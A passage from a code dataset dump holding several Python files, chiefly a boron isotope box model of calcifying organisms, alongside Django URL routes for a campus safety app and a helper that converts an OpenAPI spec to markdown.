cacheNum = getMultiDiskGroupFromPtagent().getCacheNum(drivesdict)\n cacheUUID = getMultiDiskGroupFromPtagent().getCacheUUID(drivesdict)\n capacityUUID = getMultiDiskGroupFromPtagent().getCapacityUUID(drivesdict)\n results = [capacityNum, cacheNum, capacityUUID, cacheUUID,]\n for index in range(len(multiDiskGroupRequ)):\n multiDiskGroupInfodict[multiDiskGroupRequ[index]] = results[index]\n return multiDiskGroupInfodict \n \n def GetMDGInfoFromPtagent(self):\n nodeip = queryNodeIP().query_esxiIP_afterInitial() \n MDGInfoFromPtagent = {}\n for ip in nodeip : \n multiDiskGroupInfo = getMultiDiskGroupFromPtagent().multiDiskGroupInfodict(ip)\n MDGInfoFromPtagent.update({ip:multiDiskGroupInfo})\n return MDGInfoFromPtagent\n","sub_path":"VxRailManager/tasks/multiDiskGroups/getMultiDiskGroupFromPtagent.py","file_name":"getMultiDiskGroupFromPtagent.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"294885676","text":"\n\nfrom xai.brain.wordbase.nouns._quantity import _QUANTITY\n\n#calss header\nclass _QUANTITIES(_QUANTITY, ):\n\tdef __init__(self,): \n\t\t_QUANTITY.__init__(self)\n\t\tself.name = \"QUANTITIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"quantity\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_quantities.py","file_name":"_quantities.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"570146822","text":"\"\"\"uSafeUS URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom uSafeNH import views\nfrom rest_framework import routers, serializers, viewsets\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^collegeListView/', views.ListCreateCollege.as_view() ),\n url(r'^campusLiaisonListView/', views.ListCreateCampusLiaison.as_view() ),\n url(r'^campusListView/', views.ListCreateCampus.as_view() ),\n url(r'^titleIXListView/', views.ListCreateTitleIX.as_view() ),\n url(r'^titleIXPhoneListView/', views.ListCreateTitleIXPhone.as_view() ),\n url(r'^campusSafetyListView/', views.ListCreateCampusSafety.as_view() ),\n url(r'^campusSafetyReportOnline/', views.ListCreateCampusSafetyReportOnline.as_view() ),\n url(r'^campusSafetyPhoneListView/', views.ListCreateCampusSafetyPhone.as_view() ),\n url(r'^specializedListView/', views.ListCreateSpecialized.as_view() ),\n url(r'^campusCounselingCenterListView/', views.ListCreateCampusCounselingCenter.as_view() ),\n url(r'^campusCounselingCenterContactListView/', views.ListCreateCampusCounselingCenterContact.as_view() ),\n url(r'^campusCounselingCenterPhoneListView/', views.ListCreateCampusCounselingCenterPhone.as_view() ),\n url(r'^hospitalListView/', views.ListCreateHospital.as_view() ),\n url(r'^hospitalListView/', views.ListCreatePolice.as_view() ),\n url(r'^crisisCenterListView/', views.ListCreateCrisisCenter.as_view() ),\n url(r'^crisisCenterPhoneListView/', views.ListCreateCrisisCenterPhone.as_view() ),\n url(r'^campusCounselListView/', views.ListCreateCampusCounsel.as_view() ),\n url(r'^campusHospitalListView/', views.ListCreateCampusHospital.as_view() ),\n url(r'^campusPoliceListView/', views.ListCreateCampusPolice.as_view() ),\n url(r'^campusCrisisListView/', views.ListCreateCampusCrisis.as_view() ),\n]\n\n\n\n","sub_path":"uSafeUS/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"264516225","text":"import numpy as np\nimport scipy.optimize as opt\nimport multiprocessing as mp\n\n\nclass bsyst(object):\n \"\"\"\n Calculates the exact (11A) B systematics of a water body for a\n given minimal parameter set.\n\n Must provide pH at minimum. BT and ABT are set to seawater averages by\n default.\n\n If BO3 or BO4 are provided, the other species and BT are calculated from\n the provided species.\n\n If ABO3 or ABO4 are provided, the 11A of the other species and 11A total\n are calculated from the provided species.\n\n Returns an object containing the entire B system, and provided input\n parameters.\n\n All input parameters may be single values, or array-like. If two or more\n inputs are array-like, their dimensions must match.\n\n Keyword Arguments:\n update: bool\n Determines whether the system is calculated as soon as the class is\n created, or whether it waits until .run() is called specifically.\n Useful if the parameters are updated often by an external function\n (e.g. in a parameter grid), as it stops the calculations being\n performed every time the parameters are updated.\n \"\"\"\n def __init__(self, pH=None, BT=433., BO3=None, BO4=None,\n ABT=0.807817779214075, ABO3=None, ABO4=None,\n pKB=None, alphaB=None, s=35., t=25., update=True):\n if pH is None:\n raise ValueError('Must provide pH')\n\n for key, param in locals().items():\n if key is not 'self':\n setattr(self, key, param)\n\n # derived\n if self.pKB is None:\n self.pKBcalc()\n if self.alphaB is None:\n self.alphaB_calc()\n\n self.chiB_calc()\n\n if self.update:\n self.run()\n\n def __repr__(self):\n if np.array(self.pH).size == 1:\n if self.update:\n self.run()\n outstr = ['B in Solution (pH: {:3.1f})\\n'.format(self.pH),\n '---------------------------------------\\n',\n 'BT: {:6.1f} BO3: {:6.1f} BO4: {:6.1f}\\n'.\n format(self.BT, self.BO3, self.BO4),\n 'ABT: {:6.4f} ABO3: {:6.4f} ABO4: {:6.4f}\\n'.\n format(self.ABT, self.ABO3, self.ABO4),\n '---------------------------------------\\n']\n return ''.join(outstr)\n else:\n return \"Output too long to print ({:0d})\".format(self.pH.size)\n\n # calculate derived parameters\n def pKBcalc(self):\n # From Dickson, 1990: eqn 23\n tK = self.t + 273.15\n K = (-8966.9 - 2890.53 * self.s ** 0.5 - 77.942 * self.s + 1.728 *\n self.s ** 1.5 - 0.0996 * self.s ** 2) \\\n * (1/tK) \\\n + (148.0248 + 137.1942 * self.s ** 0.5 + 1.62142 * self.s) \\\n + (-24.4344 - 25.085 * self.s ** 0.5 - 0.2474 * self.s) \\\n * np.log(tK) \\\n + (0.053105 * self.s ** 0.5) * tK\n self.pKB = -np.log10(np.exp(K))\n return self.pKB\n\n def alphaB_calc(self):\n self.alphaB = 1.0293 - 0.000082 * self.t # From Honisch et al, 2008\n return self.alphaB\n\n def chiB_calc(self):\n self.chiB = 10 ** -self.pH / (10 ** -self.pKB + 10 ** -self.pH)\n return self.chiB\n\n # set parameters, and update calculate (if update flag)\n def set_params(self, pH=None, BT=None, BO3=None, BO4=None,\n ABT=None, ABO3=None, ABO4=None,\n pKB=None, alphaB=None, s=None, t=None):\n Bset = ['BT', 'BO3', 'BO4']\n Aset = ['ABT', 'ABO3', 'ABO4']\n for key, param in locals().items():\n if param is not None and key is not 'self':\n # clear concentrations if one parameter is updated to\n # ensure full calculation\n if key in Bset:\n [setattr(self, i, None) for i in Bset]\n # clear isotopes if one parameter is updated to ensure\n # full calculation\n if key in Aset:\n [setattr(self, i, None) for i in Aset]\n setattr(self, key, param)\n if self.update:\n self.run()\n\n # calculate B systematics, based on minimal parameter set.\n def run(self):\n if self.BO3 is None and self.BO4 is None:\n self.BO3 = self.BT * self.chiB\n self.BO4 = self.BT * (1 - self.chiB)\n else:\n if self.BO3 is not None:\n self.BT = self.BO3 / self.chiB\n self.BO4 = self.BT * (1 - self.chiB)\n if self.BO4 is not None:\n self.BT = self.BO4 / (1 - self.chiB)\n self.BO3 = self.BT * self.chiB\n\n # Isotopes\n if self.ABO3 is None and self.ABO4 is None:\n # ABO3 as a function of ABT, alphaB and chiB\n self.ABO3 = (self.ABT * self.alphaB - self.ABT + self.alphaB *\n self.chiB - self.chiB -\n np.sqrt(self.ABT ** 2 * self.alphaB ** 2 - 2 *\n self.ABT ** 2 * self.alphaB + self.ABT ** 2 -\n 2 * self.ABT * self.alphaB ** 2 * self.chiB +\n 2 * self.ABT * self.alphaB + 2 * self.ABT *\n self.chiB - 2 * self.ABT + self.alphaB ** 2 *\n self.chiB ** 2 - 2 * self.alphaB *\n self.chiB ** 2 + 2 * self.alphaB * self.chiB +\n self.chiB ** 2 - 2 * self.chiB + 1) + 1) / \\\n (2 * self.chiB * (self.alphaB - 1))\n # ABO4 as a function of ABT, alphaB and chiB\n self.ABO4 = -(self.ABT * self.alphaB - self.ABT - self.alphaB *\n self.chiB + self.chiB +\n np.sqrt(self.ABT ** 2 * self.alphaB ** 2 - 2 *\n self.ABT ** 2 * self.alphaB + self.ABT ** 2 -\n 2 * self.ABT * self.alphaB ** 2 * self.chiB +\n 2 * self.ABT * self.alphaB + 2 * self.ABT *\n self.chiB - 2 * self.ABT + self.alphaB ** 2 *\n self.chiB ** 2 - 2 * self.alphaB *\n self.chiB ** 2 + 2 * self.alphaB *\n self.chiB + self.chiB ** 2 - 2 * self.chiB +\n 1) - 1)/(2 * self.alphaB * self.chiB - 2 *\n self.alphaB - 2 * self.chiB + 2)\n else:\n if self.ABO4 is not None:\n # ABT as a function of ABO4, alphaB and chiB\n self.ABT = self.ABO4 * (-self.ABO4 * self.alphaB * self.chiB +\n self.ABO4 * self.alphaB + self.ABO4 *\n self.chiB - self.ABO4 + self.alphaB *\n self.chiB - self.chiB + 1) / \\\n (self.ABO4 * self.alphaB - self.ABO4 + 1)\n # ABO3 as a function of ABT, alphaB and chiB\n self.ABO3 = (self.ABT * self.alphaB - self.ABT + self.alphaB *\n self.chiB - self.chiB -\n np.sqrt(self.ABT ** 2 * self.alphaB ** 2 - 2 *\n self.ABT ** 2 * self.alphaB +\n self.ABT ** 2 - 2 * self.ABT *\n self.alphaB ** 2 * self.chiB + 2 *\n self.ABT * self.alphaB + 2 * self.ABT *\n self.chiB - 2 * self.ABT +\n self.alphaB ** 2 * self.chiB ** 2 - 2 *\n self.alphaB * self.chiB ** 2 + 2 *\n self.alphaB * self.chiB + self.chiB ** 2 -\n 2 * self.chiB + 1) + 1) / \\\n (2 * self.chiB * (self.alphaB - 1))\n if self.ABO3 is not None:\n # ABT as a function of ABO3, alphaB and chiB\n self.ABT = self.ABO3 * (-self.ABO3 * self.alphaB * self.chiB +\n self.ABO3 * self.chiB + self.alphaB *\n self.chiB - self.chiB + 1) / \\\n (-self.ABO3 * self.alphaB + self.ABO3 + self.alphaB)\n # ABO4 as a function of ABT, alphaB and chiB\n self.ABO4 = -(self.ABT * self.alphaB - self.ABT - self.alphaB *\n self.chiB + self.chiB +\n np.sqrt(self.ABT ** 2 * self.alphaB ** 2 - 2 *\n self.ABT ** 2 * self.alphaB + self.ABT **\n 2 - 2 * self.ABT * self.alphaB ** 2 *\n self.chiB + 2 * self.ABT * self.alphaB +\n 2 * self.ABT * self.chiB - 2 * self.ABT +\n self.alphaB ** 2 * self.chiB ** 2 - 2 *\n self.alphaB * self.chiB ** 2 + 2 *\n self.alphaB * self.chiB + self.chiB **\n 2 - 2 * self.chiB + 1) - 1) / \\\n (2 * self.alphaB * self.chiB - 2 * self.alphaB -\n 2 * self.chiB + 2)\n\n\nclass box(object):\n \"\"\"\n A single-input box model of B and B isotope transport in a calcifying\n organism. For equation details, see the model description document.\n\n Keyword Arguments:\n p1,p2: float\n The non-dimensional parameters that describe the model space.\n Their meaning depends on the 'denominator' argument.\n denominator: 'D'|'F'|'P'\n Tells the model which parameter set to use. The letters represent\n the denominator used in defining the non-dimensional parameters:\n D = Diffusion\n F = seawater Flux\n P = Precipitation\n Depending on the choice of denominator, p1 and p2 have different\n meanings:\n 'D': p1=pPD, p2=pFD\n 'F': p1=pPF, p2=pDF\n 'P': p1=pFP, p2=pDP\n\n \"\"\"\n def __init__(self, p1, p2, pHext=8.2, pHint=9.0, BText=433.,\n ABText=0.807817779214075, alphaB=None, pKB=None,\n t=25., s=35., alpha_d=1., denominator='D'):\n # assign parameters\n for key, param in locals().items():\n if key is not 'self':\n setattr(self, key, param)\n\n # set parameter space, depending on denominator\n self.ptranslator = {'D': ['pPD', 'pFD'],\n 'F': ['pPF', 'pDF'],\n 'P': ['pFP', 'pDP']}\n setattr(self, self.ptranslator[self.denominator][0], self.p1)\n setattr(self, self.ptranslator[self.denominator][1], self.p2)\n\n # set up external and internal environments\n self.ext = bsyst(pH=self.pHext, BT=self.BText, ABT=self.ABText,\n pKB=self.pKB, alphaB=self.alphaB, t=self.t, s=self.s)\n self.int = bsyst(pH=self.pHint, pKB=self.pKB, alphaB=self.alphaB,\n t=self.t, s=self.s, update=False)\n\n self.run()\n\n def __repr__(self):\n outstr = [' B Box Model Output\\n',\n '---------------------------------------\\n',\n 'Internal B (pH: {:3.1f})\\n'.format(self.int.pH),\n '---------------------------------------\\n',\n 'BT: {:6.1f} BO3: {:6.1f} BO4: {:6.1f}\\n'.\n format(self.int.BT, self.int.BO3, self.int.BO4),\n 'ABT: {:6.4f} ABO3: {:6.4f} ABO4: {:6.4f}\\n'.\n format(self.int.ABT, self.int.ABO3, self.int.ABO4),\n '---------------------------------------\\n',\n 'External B (pH: {:3.1f})\\n'.format(self.ext.pH),\n '---------------------------------------\\n',\n 'BT: {:6.1f} BO3: {:6.1f} BO4: {:6.1f}\\n'.\n format(self.ext.BT, self.ext.BO3, self.ext.BO4),\n 'ABT: {:6.4f} ABO3: {:6.4f} ABO4: {:6.4f}\\n'.\n format(self.ext.ABT, self.ext.ABO3, self.ext.ABO4),\n '---------------------------------------\\n',\n 'Model Parameters\\n',\n '---------------------------------------\\n',\n '{:9s} {:5.1g} | {:9s} {:5.1g}\\n'.\n format(self.ptranslator[self.denominator][0]+':', self.p1,\n self.ptranslator[self.denominator][1]+':', self.p2),\n '{:9s} {:5.1f} | {:9s} {:5.1f}\\n'.\n format('s:', self.ext.s, 't:', self.ext.t),\n '{:9s} {:5.3f} | {:9s} {:5.3f}\\n'.\n format('pKB:', self.ext.pKB, 'alpha_B:', self.ext.alphaB),\n '{:9s} {:5.3f}\\n'.format('alpha_d:', self.alpha_d),\n '---------------------------------------\\n']\n return ''.join(outstr)\n\n def ABO3int_calc(self, ABTint):\n \"\"\"Calcualtes internal ABO3, as a function of ABT, alphaB and chiB\"\"\"\n return (ABTint * self.int.alphaB - ABTint + self.int.alphaB *\n self.int.chiB - self.int.chiB -\n np.sqrt(ABTint ** 2 * self.int.alphaB ** 2 - 2 * ABTint **\n 2 * self.int.alphaB + ABTint ** 2 - 2 * ABTint *\n self.int.alphaB ** 2 * self.int.chiB + 2 * ABTint *\n self.int.alphaB + 2 * ABTint * self.int.chiB - 2 *\n ABTint + self.int.alphaB ** 2 * self.int.chiB ** 2 -\n 2 * self.int.alphaB * self.int.chiB ** 2 + 2 *\n self.int.alphaB * self.int.chiB + self.int.chiB **\n 2 - 2 * self.int.chiB + 1) + 1) / \\\n (2 * self.int.chiB * (self.int.alphaB - 1))\n\n def ABO4int_calc(self, ABTint):\n \"\"\"Calcualtes internal ABO4, as a function of ABT, alphaB and chiB\"\"\"\n return -(ABTint * self.int.alphaB - ABTint - self.int.alphaB *\n self.int.chiB + self.int.chiB +\n np.sqrt(ABTint ** 2 * self.int.alphaB ** 2 - 2 * ABTint **\n 2 * self.int.alphaB + ABTint ** 2 - 2 * ABTint *\n self.int.alphaB ** 2 * self.int.chiB + 2 * ABTint *\n self.int.alphaB + 2 * ABTint * self.int.chiB - 2 *\n ABTint + self.int.alphaB ** 2 * self.int.chiB **\n 2 - 2 * self.int.alphaB * self.int.chiB ** 2 + 2 *\n self.int.alphaB * self.int.chiB + self.int.chiB **\n 2 - 2 * self.int.chiB + 1) - 1) / \\\n (2 * self.int.alphaB * self.int.chiB - 2 *\n self.int.alphaB - 2 * self.int.chiB + 2)\n\n def BTint_D(self):\n \"\"\"Calculates internal BT, based on pPD and pFD.\"\"\"\n self.int.BT = self.ext.BT * (self.ext.chiB * (1 - self.pPD) +\n self.pFD) / (self.int.chiB + self.pFD)\n\n def zerofn_D(self, ABTint):\n \"\"\"Zero-finding function to calculate 11A B internal as a function of\n pPD and pFD\"\"\"\n ABO3int = self.ABO3int_calc(ABTint)\n ABO4int = self.ABO4int_calc(ABTint)\n\n return self.alpha_d * self.ext.chiB * self.ext.BT * self.ext.ABO3 - \\\n self.alpha_d * self.int.chiB * self.int.BT * ABO3int + \\\n self.pFD * self.ext.BT * self.ext.ABT - self.pFD * \\\n self.int.BT * ABTint - self.pPD * ABO4int * self.ext.chiB * \\\n self.ext.BT\n\n def BTint_F(self):\n \"\"\"Calculates internal BT, based on pPF and pDF.\"\"\"\n self.int.BT = self.ext.BT * (1 + self.ext.chiB *\n self.pDF - self.pPF) / \\\n (1 + self.pDF * self.int.chiB)\n\n def zerofn_F(self, ABTint):\n \"\"\"Zero-finding function to calculate 11A B internal as a function of\n pPF and pDF\"\"\"\n ABO3int = self.ABO3int_calc(ABTint)\n ABO4int = self.ABO4int_calc(ABTint)\n\n return self.alpha_d * self.pDF * self.ext.chiB * self.ext.BT * \\\n self.ext.ABO3 - self.alpha_d * self.pDF * self.int.chiB * \\\n self.int.BT * ABO3int + self.ext.BT * self.ext.ABT - \\\n self.int.BT * ABTint - self.pPF * ABO4int * self.ext.BT\n\n def BTint_P(self):\n \"\"\"Calculates internal BT, based on pDP and pFP.\"\"\"\n self.int.BT = self.ext.BT * self.ext.chiB * \\\n (self.pDP + self.pFP - 1) / \\\n (self.ext.chiB * self.pFP + self.int.chiB * self.pDP)\n\n def zerofn_P(self, ABTint):\n \"\"\"Zero-finding function to calculate 11A B internal as a function of\n pDP and pFP\"\"\"\n ABO3int = self.ABO3int_calc(ABTint)\n ABO4int = self.ABO4int_calc(ABTint)\n\n return self.alpha_d * self.pDP * self.ext.ABO3 \\\n - (self.alpha_d * self.pDP * self.int.chiB * self.int.BT *\n ABO3int) / (self.ext.chiB * self.ext.BT) \\\n + self.pFP * self.ext.ABT \\\n - self.pFP * self.int.BT * ABTint / self.ext.BT\\\n - ABO4int\n\n def run(self):\n \"\"\"Runs the model.\"\"\"\n if self.denominator is 'D':\n self.BTint_D()\n self.int.ABT = opt.newton(self.zerofn_D, self.ext.ABT)\n if self.denominator is 'F':\n self.BTint_F()\n self.int.ABT = opt.newton(self.zerofn_F, self.ext.ABT)\n if self.denominator is 'P':\n self.BTint_P()\n self.int.ABT = opt.newton(self.zerofn_P, self.ext.ABT)\n\n self.int.run()\n\n\nclass gridbox(object):\n def __init__(self, p1, p2, pHext=8.2, pHint=9.0, BText=433.,\n ABText=0.807817779214075, alphaB=0, pKB=0,\n t=25., s=35., alpha_d=1., denominator='D', cpu_multiplier=2):\n # assign gridded variables\n self.p1, self.p2, self.pHext, self.pHint, self.BText, self.ABText, \\\n self.alphaB, self.pKB, self.t, self.s, self.alpha_d = \\\n np.meshgrid(np.array(p1, ndmin=1), np.array(p2, ndmin=1),\n np.array(pHext, ndmin=1), np.array(pHint, ndmin=1),\n np.array(BText, ndmin=1), np.array(ABText, ndmin=1),\n np.array(alphaB, ndmin=1), np.array(pKB, ),\n np.array(t, ndmin=1), np.array(s, ndmin=1),\n np.array(alpha_d))\n\n # calculate constants\n if pKB is 0:\n self.pKB = self.pKBcalc(self.t, self.s)\n if alphaB is 0:\n self.alphaB = self.alphaB_calc(self.t)\n\n self.denominator = denominator\n self.cpu_multiplier = cpu_multiplier\n\n # set parameter space, depending on denominator\n self.ptranslator = {'D': ['pPD', 'pFD'],\n 'F': ['pPF', 'pDF'],\n 'P': ['pFP', 'pDP']}\n setattr(self, self.ptranslator[self.denominator][0], self.p1)\n setattr(self, self.ptranslator[self.denominator][1], self.p2)\n\n # set up external and internal environments\n self.ext = bsyst(pH=self.pHext, BT=self.BText, ABT=self.ABText,\n pKB=self.pKB, alphaB=self.alphaB, t=self.t, s=self.s)\n self.int = bsyst(pH=self.pHint,\n BT=np.ndarray(self.p1.shape, dtype=float),\n ABT=np.ndarray(self.p1.shape, dtype=float),\n pKB=self.pKB, alphaB=self.alphaB,\n t=self.t, s=self.s, update=False)\n\n self.run()\n\n # constant calculators\n def pKBcalc(self, t, s):\n # From Dickson, 1990: eqn 23\n tK = t + 273.15\n K = (-8966.9 - 2890.53 * s ** 0.5 - 77.942 * s + 1.728 * s ** 1.5 -\n 0.0996 * s ** 2) * (1/tK) + \\\n (148.0248 + 137.1942 * s ** 0.5 + 1.62142 * s) + \\\n (-24.4344 - 25.085 * s ** 0.5 - 0.2474 * s) * np.log(tK) + \\\n (0.053105 * s ** 0.5) * tK\n self.pKB = -np.log10(np.exp(K))\n return self.pKB\n\n def alphaB_calc(self, t):\n self.alphaB = 1.0293 - 0.000082 * t # From Honisch et al, 2008\n return self.alphaB\n\n # BTint functions\n def BTint_D(self):\n self.int.BT = self.ext.BT * (self.ext.chiB *\n (1 - self.pPD) + self.pFD) / \\\n (self.int.chiB + self.pFD)\n\n def BTint_F(self):\n self.int.BT = self.ext.BT * (1 + self.ext.chiB * self.pDF -\n self.pPF) / (1 + self.pDF *\n self.int.chiB)\n\n def BTint_P(self):\n self.int.BT = self.ext.BT * self.ext.chiB * \\\n (self.pDP + self.pFP - 1) / (self.ext.chiB * self.pFP +\n self.int.chiB * self.pDP)\n\n def ABO3int_calc(self, ABTint, ind):\n return (ABTint * self.int.alphaB[ind] - ABTint +\n self.int.alphaB[ind] * self.int.chiB[ind] -\n self.int.chiB[ind] -\n np.sqrt(ABTint ** 2 * self.int.alphaB[ind] ** 2 - 2 *\n ABTint ** 2 * self.int.alphaB[ind] + ABTint ** 2 -\n 2 * ABTint * self.int.alphaB[ind] ** 2 *\n self.int.chiB[ind] + 2 * ABTint *\n self.int.alphaB[ind] + 2 * ABTint *\n self.int.chiB[ind] - 2 * ABTint +\n self.int.alphaB[ind] ** 2 * self.int.chiB[ind] **\n 2 - 2 * self.int.alphaB[ind] * self.int.chiB[ind] **\n 2 + 2 * self.int.alphaB[ind] * self.int.chiB[ind] +\n self.int.chiB[ind] ** 2 - 2 * self.int.chiB[ind] +\n 1) + 1) / (2 * self.int.chiB[ind] *\n (self.int.alphaB[ind] - 1))\n\n def ABO4int_calc(self, ABTint, ind):\n return -(ABTint * self.int.alphaB[ind] - ABTint -\n self.int.alphaB[ind] * self.int.chiB[ind] +\n self.int.chiB[ind] +\n np.sqrt(ABTint ** 2 * self.int.alphaB[ind] ** 2 - 2 *\n ABTint ** 2 * self.int.alphaB[ind] + ABTint ** 2 -\n 2 * ABTint * self.int.alphaB[ind] ** 2 *\n self.int.chiB[ind] + 2 * ABTint *\n self.int.alphaB[ind] + 2 * ABTint *\n self.int.chiB[ind] - 2 * ABTint +\n self.int.alphaB[ind] ** 2 * self.int.chiB[ind] **\n 2 - 2 * self.int.alphaB[ind] *\n self.int.chiB[ind] ** 2 + 2 *\n self.int.alphaB[ind] * self.int.chiB[ind] +\n self.int.chiB[ind] ** 2 - 2 * self.int.chiB[ind] +\n 1) - 1) / (2 * self.int.alphaB[ind] *\n self.int.chiB[ind] - 2 *\n self.int.alphaB[ind] - 2 *\n self.int.chiB[ind] + 2)\n\n # zero finding functions\n def zerofn_D(self, ABTint, ip1, ip2, ipHext, ipHint, iBText,\n iABText, ialphaB, ipKB, it, isal, ialpha_d):\n ind = (ip1, ip2, ipHext, ipHint, iBText,\n iABText, ialphaB, ipKB, it, isal, ialpha_d)\n ABO3int = self.ABO3int_calc(ABTint, ind)\n ABO4int = self.ABO4int_calc(ABTint, ind)\n return (self.alpha_d[ind] * self.ext.chiB[ind] * self.ext.BT[ind] *\n self.ext.ABO3[ind]) \\\n - (self.alpha_d[ind] * self.int.chiB[ind] * self.int.BT[ind] *\n ABO3int) \\\n + self.pFD[ind] * self.ext.BT[ind] * self.ext.ABT[ind] \\\n - self.pFD[ind] * self.int.BT[ind] * ABTint \\\n - self.pPD[ind] * ABO4int * self.ext.chiB[ind] * self.ext.BT[ind]\n\n def wrapper_D(self, ip1, ip2, ipHext, ipHint, iBText,\n iABText, ialphaB, ipKB, it, isal, ialpha_d):\n return opt.newton(self.zerofn_D, self.ext.ABT[ip1, ip2, ipHext, ipHint,\n iBText, iABText, ialphaB, ipKB, it, isal, ialpha_d],\n args=(ip1, ip2, ipHext, ipHint, iBText, iABText,\n ialphaB, ipKB, it, isal, ialpha_d))\n\n def zerofn_F(self, ABTint, ip1, ip2, ipHext, ipHint,\n iBText, iABText, ialphaB, ipKB, it, isal, ialpha_d):\n ind = (ip1, ip2, ipHext, ipHint, iBText,\n iABText, ialphaB, ipKB, it, isal, ialpha_d)\n ABO3int = self.ABO3int_calc(ABTint, ind)\n ABO4int = self.ABO4int_calc(ABTint, ind)\n return (self.alpha_d[ind] * self.pDF[ind] * self.ext.chiB[ind] *\n self.ext.BT[ind] * self.ext.ABO3[ind]) \\\n - (self.alpha_d[ind] * self.pDF[ind] * self.int.chiB[ind] *\n self.int.BT[ind] * ABO3int) \\\n + self.ext.BT[ind] * self.ext.ABT[ind] \\\n - self.int.BT[ind] * ABTint \\\n - self.pPF[ind] * ABO4int * self.ext.BT[ind]\n\n def wrapper_F(self, ip1, ip2, ipHext, ipHint,\n iBText, iABText, ialphaB, ipKB, it, isal, ialpha_d):\n return opt.newton(self.zerofn_F, self.ext.ABT[ip1, ip2, ipHext, ipHint,\n iBText, iABText, ialphaB, ipKB, it, isal, ialpha_d],\n args=(ip1, ip2, ipHext, ipHint, iBText, iABText,\n ialphaB, ipKB, it, isal, ialpha_d))\n\n def zerofn_P(self, ABTint, ip1, ip2, ipHext, ipHint,\n iBText, iABText, ialphaB, ipKB, it, isal, ialpha_d):\n ind = (ip1, ip2, ipHext, ipHint, iBText,\n iABText, ialphaB, ipKB, it, isal, ialpha_d)\n ABO3int = self.ABO3int_calc(ABTint, ind)\n ABO4int = self.ABO4int_calc(ABTint, ind)\n return self.alpha_d[ind] * self.pDP[ind] * self.ext.ABO3[ind] \\\n - (self.alpha_d[ind] * self.pDP[ind] * self.int.chiB[ind] *\n self.int.BT[ind] * ABO3int) / (self.ext.chiB[ind] *\n self.ext.BT[ind]) \\\n + self.pFP[ind] * self.ext.ABT[ind] \\\n - self.pFP[ind] * self.int.BT[ind] * ABTint / self.ext.BT[ind]\\\n - ABO4int\n\n def wrapper_P(self, ip1, ip2, ipHext, ipHint, iBText,\n iABText, ialphaB, ipKB, it, isal, ialpha_d):\n return opt.newton(self.zerofn_P, self.ext.ABT[ip1, ip2, ipHext, ipHint,\n iBText, iABText, ialphaB, ipKB, it, isal, ialpha_d],\n args=(ip1, ip2, ipHext, ipHint, iBText, iABText,\n ialphaB, ipKB, it, isal, ialpha_d))\n\n def run(self):\n # get grid indices for zero finding\n ind = []\n for i in np.ndindex(self.p1.shape):\n ind.append(i)\n # set up pool\n pool = mp.Pool(mp.cpu_count() * self.cpu_multiplier)\n\n # do the work\n if self.denominator is 'D':\n self.BTint_D()\n pout = pool.starmap(self.wrapper_D, ind)\n if self.denominator is 'F':\n self.BTint_F()\n pout = pool.starmap(self.wrapper_F, ind)\n if self.denominator is 'P':\n self.BTint_P()\n pout = pool.starmap(self.wrapper_P, ind)\n\n # close the pool\n pool.close()\n\n # populate internal ABT\n i=0\n for g in ind:\n self.int.ABT[g] = pout[i]\n i += 1\n\n # calculate internal B system\n self.int.run()\n\n def get_index(self, ind):\n \"\"\"\n Convenience function for extracting a particular slice of\n internal B space, p-space and pH-space.\n \"\"\"\n return {'p1': self.p1[ind],\n 'p2': self.p2[ind],\n 'pHext': self.pHext[ind],\n 'pHint': self.pHint[ind],\n 'BTint': self.int.BT[ind],\n 'BO3int': self.int.ABO3[ind],\n 'BO4int': self.int.ABO4[ind],\n 'ABTint': self.int.ABT[ind],\n 'ABO3int': self.int.ABO3[ind],\n 'ABO4int': self.int.ABO4[ind]}\n\n\n# Unit Converters\ndef A11_2_d11(A11):\n NIST951 = 4.04367\n return ((A11 / (1-A11)) / NIST951 - 1) * 1000\n\n\ndef A11_2_R11(A11):\n return A11 / (1 - A11)\n\n\ndef d11_2_A11(d11):\n NIST951 = 4.04367\n return NIST951 * (d11 / 1000 + 1) / (NIST951 * (d11 / 1000 + 1) + 1)\n\n\ndef d11_2_R11(d11):\n NIST951 = 4.04367\n return (d11/1000 + 1) * NIST951\n\n\ndef R11_2_d11(R11):\n NIST951 = 4.04367\n return (R11 / NIST951 - 1) * 1000\n\n\ndef R11_2_A11(R11):\n return R11 / (1 + R11)\n","sub_path":"bmodels/bmodel_class_A11.py","file_name":"bmodel_class_A11.py","file_ext":"py","file_size_in_byte":28593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"202650419","text":"from yaml import load, dump\ntry:\n from yaml import CLoader as Loader, CDumper as Dumper\nexcept ImportError:\n from yaml import Loader, Dumper\nimport json\nimport sys\nfrom pathlib import Path\nfrom io import StringIO\n\nPREFIX = \"\"\"\n## Document Status\n\nWork in Progress\n\n## Well known API endpoints\n\nThis document summarises the Tremor REST API\n\"\"\"\n\nENDPOINT_TABLE_HEADER = \"\"\"\n|Url|Description|\n|---|---|\n\"\"\"\n\n\ndef main():\n openyaml_path = Path(sys.argv[-1])\n if not openyaml_path.exists():\n raise Exception(f\"\\\"{openyaml_path}\\\" does not exist.\")\n with openyaml_path.open() as openyaml:\n api = load(openyaml, Loader=Loader)\n\n data = StringIO()\n data.write(PREFIX)\n data.write(ENDPOINT_TABLE_HEADER)\n\n for server in api[\"servers\"]:\n url = server.get(\"url\", \"No URL.\")\n description = server.get(\"description\", \"No 